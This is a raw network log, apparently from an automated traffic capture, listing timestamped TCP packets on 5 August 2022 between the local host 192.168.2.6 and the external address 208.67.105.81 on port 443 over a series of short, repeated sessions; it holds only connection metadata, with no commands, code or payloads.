Aug 5, 2022 12:12:05.090869904 CEST	49893	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:05.090989113 CEST	49893	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:05.489949942 CEST	49894	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:05.490025997 CEST	443	49894	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:05.490138054 CEST	49894	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:05.490829945 CEST	49894	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:05.490858078 CEST	443	49894	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:05.554857969 CEST	443	49894	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:05.555242062 CEST	49894	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:05.566055059 CEST	49894	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:05.566086054 CEST	443	49894	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:05.569761038 CEST	49894	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:05.569788933 CEST	443	49894	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:05.617324114 CEST	443	49894	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:05.617486000 CEST	443	49894	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:05.617521048 CEST	49894	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:05.617600918 CEST	49894	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:05.618079901 CEST	49894	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:05.618103981 CEST	443	49894	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:05.618119955 CEST	49894	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:05.618168116 CEST	49894	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:05.746193886 CEST	49895	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:05.746272087 CEST	443	49895	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:05.747277975 CEST	49895	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:05.748330116 CEST	49895	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:05.748359919 CEST	443	49895	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:05.807602882 CEST	443	49895	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:05.808353901 CEST	49895	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:05.808943987 CEST	49895	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:05.808958054 CEST	443	49895	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:05.814387083 CEST	49895	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:05.814408064 CEST	443	49895	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:05.862664938 CEST	443	49895	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:05.862773895 CEST	443	49895	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:05.863065958 CEST	49895	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:05.863713980 CEST	49895	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:05.863732100 CEST	443	49895	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:05.863761902 CEST	49895	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:05.864226103 CEST	49895	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:05.987833023 CEST	49896	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:05.987890959 CEST	443	49896	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:05.987987041 CEST	49896	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:05.988651037 CEST	49896	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:05.988672972 CEST	443	49896	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:06.048871040 CEST	443	49896	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:06.049242020 CEST	49896	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:06.059187889 CEST	49896	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:06.059206009 CEST	443	49896	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:06.062978029 CEST	49896	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:06.063002110 CEST	443	49896	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:06.104255915 CEST	443	49896	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:06.104382992 CEST	443	49896	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:06.105581045 CEST	49896	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:06.105902910 CEST	49896	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:06.105932951 CEST	443	49896	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:06.105948925 CEST	49896	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:06.107491016 CEST	49896	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:06.263514042 CEST	49897	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:06.263567924 CEST	443	49897	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:06.264257908 CEST	49897	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:06.264951944 CEST	49897	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:06.264974117 CEST	443	49897	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:06.323254108 CEST	443	49897	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:06.323407888 CEST	49897	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:06.323900938 CEST	49897	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:06.323915005 CEST	443	49897	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:06.327721119 CEST	49897	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:06.327744961 CEST	443	49897	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:06.377696037 CEST	443	49897	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:06.377770901 CEST	443	49897	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:06.377791882 CEST	49897	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:06.377829075 CEST	49897	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:06.378194094 CEST	49897	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:06.378227949 CEST	443	49897	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:06.378242016 CEST	49897	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:06.379249096 CEST	49897	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:06.495951891 CEST	49898	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:06.496028900 CEST	443	49898	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:06.496161938 CEST	49898	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:06.496860981 CEST	49898	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:06.496886969 CEST	443	49898	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:06.558156967 CEST	443	49898	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:06.559330940 CEST	49898	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:06.584443092 CEST	49898	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:06.584480047 CEST	443	49898	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:06.591002941 CEST	49898	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:06.591032028 CEST	443	49898	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:06.619510889 CEST	443	49898	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:06.619597912 CEST	443	49898	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:06.620317936 CEST	49898	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:06.629884005 CEST	49898	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:06.629940033 CEST	443	49898	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:06.629957914 CEST	49898	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:06.630271912 CEST	49898	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:06.756673098 CEST	49899	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:06.756714106 CEST	443	49899	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:06.757325888 CEST	49899	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:06.759049892 CEST	49899	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:06.759072065 CEST	443	49899	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:06.819008112 CEST	443	49899	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:06.819125891 CEST	49899	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:06.819833040 CEST	49899	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:06.819852114 CEST	443	49899	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:06.823925972 CEST	49899	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:06.823946953 CEST	443	49899	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:06.875935078 CEST	443	49899	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:06.876022100 CEST	443	49899	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:06.876035929 CEST	49899	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:06.876069069 CEST	49899	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:06.876481056 CEST	49899	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:06.876504898 CEST	443	49899	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:06.876512051 CEST	49899	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:06.877269983 CEST	49899	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:06.995186090 CEST	49900	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:06.995233059 CEST	443	49900	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:06.995454073 CEST	49900	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:06.996330023 CEST	49900	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:06.996351957 CEST	443	49900	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:07.058880091 CEST	443	49900	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:07.059314013 CEST	49900	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:07.070049047 CEST	49900	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:07.070072889 CEST	443	49900	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:07.074115038 CEST	49900	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:07.074134111 CEST	443	49900	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:07.115279913 CEST	443	49900	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:07.115406036 CEST	443	49900	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:07.116298914 CEST	49900	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:07.116748095 CEST	49900	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:07.116780996 CEST	443	49900	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:07.116791010 CEST	49900	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:07.120306969 CEST	49900	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:07.239085913 CEST	49901	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:07.239141941 CEST	443	49901	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:07.239310980 CEST	49901	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:07.245564938 CEST	49901	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:07.245605946 CEST	443	49901	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:07.305556059 CEST	443	49901	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:07.306346893 CEST	49901	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:07.311335087 CEST	49901	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:07.311388016 CEST	443	49901	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:07.315649986 CEST	49901	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:07.315676928 CEST	443	49901	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:07.363559961 CEST	443	49901	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:07.363631010 CEST	443	49901	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:07.363641024 CEST	49901	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:07.364034891 CEST	49901	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:07.364044905 CEST	443	49901	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:07.364332914 CEST	49901	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:07.368329048 CEST	49901	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:07.491893053 CEST	49902	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:07.491952896 CEST	443	49902	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:07.492202044 CEST	49902	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:07.492770910 CEST	49902	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:07.492790937 CEST	443	49902	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:07.553711891 CEST	443	49902	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:07.554404974 CEST	49902	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:07.557216883 CEST	49902	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:07.557235003 CEST	443	49902	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:07.560897112 CEST	49902	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:07.560904980 CEST	443	49902	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:07.610083103 CEST	443	49902	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:07.610212088 CEST	443	49902	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:07.610398054 CEST	49902	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:07.611283064 CEST	49902	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:07.611326933 CEST	443	49902	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:07.611417055 CEST	49902	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:07.612344027 CEST	49902	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:07.768585920 CEST	49904	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:07.768667936 CEST	443	49904	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:07.769421101 CEST	49904	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:07.771081924 CEST	49904	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:07.771111965 CEST	443	49904	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:07.838424921 CEST	443	49904	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:07.842902899 CEST	49904	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:07.843596935 CEST	49904	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:07.843611956 CEST	443	49904	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:07.848392010 CEST	49904	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:07.848414898 CEST	443	49904	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:07.895613909 CEST	443	49904	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:07.895695925 CEST	443	49904	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:07.895742893 CEST	49904	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:07.895772934 CEST	49904	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:07.896270037 CEST	49904	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:07.896305084 CEST	443	49904	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:07.896342993 CEST	49904	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:07.897365093 CEST	49904	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:08.017721891 CEST	49905	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:08.017782927 CEST	443	49905	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:08.017879963 CEST	49905	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:08.018589020 CEST	49905	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:08.018616915 CEST	443	49905	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:08.077414989 CEST	443	49905	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:08.078393936 CEST	49905	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:08.080538988 CEST	49905	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:08.080557108 CEST	443	49905	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:08.093276024 CEST	49905	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:08.093303919 CEST	443	49905	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:08.131903887 CEST	443	49905	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:08.132011890 CEST	443	49905	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:08.132035017 CEST	49905	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:08.132350922 CEST	49905	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:08.132394075 CEST	49905	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:08.132412910 CEST	443	49905	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:08.132431984 CEST	49905	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:08.133347988 CEST	49905	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:08.256628990 CEST	49907	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:08.256680965 CEST	443	49907	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:08.257416010 CEST	49907	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:08.262128115 CEST	49907	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:08.262156963 CEST	443	49907	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:08.322909117 CEST	443	49907	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:08.323577881 CEST	49907	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:08.323589087 CEST	49907	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:08.323594093 CEST	443	49907	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:08.327286005 CEST	49907	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:08.327296019 CEST	443	49907	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:08.379163027 CEST	443	49907	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:08.379275084 CEST	443	49907	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:08.379403114 CEST	49907	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:08.383373022 CEST	49907	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:08.383414984 CEST	443	49907	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:08.383501053 CEST	49907	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:08.384368896 CEST	49907	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:08.571650028 CEST	49908	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:08.571701050 CEST	443	49908	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:08.571811914 CEST	49908	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:08.573390961 CEST	49908	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:08.573404074 CEST	443	49908	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:08.631234884 CEST	443	49908	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:08.631344080 CEST	49908	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:08.634988070 CEST	49908	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:08.635004997 CEST	443	49908	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:08.641597986 CEST	49908	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:08.641623974 CEST	443	49908	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:08.686016083 CEST	443	49908	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:08.686086893 CEST	443	49908	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:08.686239958 CEST	49908	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:08.686281919 CEST	49908	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:08.686772108 CEST	49908	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:08.686795950 CEST	443	49908	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:08.686808109 CEST	49908	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:08.686857939 CEST	49908	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:08.844949961 CEST	49909	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:08.845000982 CEST	443	49909	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:08.845074892 CEST	49909	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:08.846904993 CEST	49909	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:08.846921921 CEST	443	49909	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:08.910083055 CEST	443	49909	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:08.910821915 CEST	49909	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:08.945964098 CEST	49909	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:08.945988894 CEST	443	49909	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:08.949903965 CEST	49909	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:08.949927092 CEST	443	49909	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:08.978466034 CEST	443	49909	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:08.978540897 CEST	49909	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:08.978558064 CEST	443	49909	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:08.978578091 CEST	443	49909	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:08.978605032 CEST	49909	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:08.978631020 CEST	49909	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:08.979177952 CEST	49909	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:08.979197025 CEST	443	49909	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:08.979233980 CEST	49909	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:08.979247093 CEST	49909	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:09.103676081 CEST	49910	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:09.103777885 CEST	443	49910	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:09.103980064 CEST	49910	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:09.104929924 CEST	49910	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:09.104974985 CEST	443	49910	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:09.165599108 CEST	443	49910	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:09.165692091 CEST	49910	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:09.166654110 CEST	49910	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:09.166671038 CEST	443	49910	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:09.170892000 CEST	49910	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:09.170928001 CEST	443	49910	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:09.219913960 CEST	443	49910	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:09.220000029 CEST	443	49910	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:09.220053911 CEST	49910	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:09.220065117 CEST	49910	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:09.227423906 CEST	49910	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:09.227469921 CEST	443	49910	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:09.227483988 CEST	49910	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:09.227528095 CEST	49910	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:09.347464085 CEST	49911	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:09.347517014 CEST	443	49911	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:09.347625017 CEST	49911	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:09.348809004 CEST	49911	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:09.348854065 CEST	443	49911	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:09.408318043 CEST	443	49911	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:09.408489943 CEST	49911	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:09.415589094 CEST	49911	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:09.415642023 CEST	443	49911	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:09.419215918 CEST	49911	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:09.419239044 CEST	443	49911	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:09.462568045 CEST	443	49911	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:09.462691069 CEST	443	49911	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:09.462774992 CEST	49911	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:09.462882996 CEST	49911	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:09.463378906 CEST	49911	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:09.463399887 CEST	443	49911	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:09.463419914 CEST	49911	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:09.463466883 CEST	49911	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:09.587831020 CEST	49912	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:09.587888002 CEST	443	49912	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:09.587966919 CEST	49912	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:09.588752985 CEST	49912	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:09.588776112 CEST	443	49912	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:09.650518894 CEST	443	49912	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:09.650768995 CEST	49912	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:09.651571035 CEST	49912	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:09.651599884 CEST	443	49912	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:09.657237053 CEST	49912	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:09.657265902 CEST	443	49912	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:09.705168009 CEST	443	49912	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:09.705245972 CEST	443	49912	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:09.705326080 CEST	49912	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:09.705348969 CEST	49912	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:09.707370996 CEST	49912	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:09.707422972 CEST	443	49912	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:09.707443953 CEST	49912	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:09.707520962 CEST	49912	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:09.837368965 CEST	49913	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:09.837430954 CEST	443	49913	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:09.837557077 CEST	49913	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:09.838676929 CEST	49913	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:09.838695049 CEST	443	49913	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:09.898474932 CEST	443	49913	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:09.898574114 CEST	49913	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:09.901258945 CEST	49913	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:09.901274920 CEST	443	49913	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:09.906991005 CEST	49913	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:09.907006025 CEST	443	49913	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:09.959595919 CEST	443	49913	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:09.959681034 CEST	443	49913	208.67.105.81	192.168.2.6
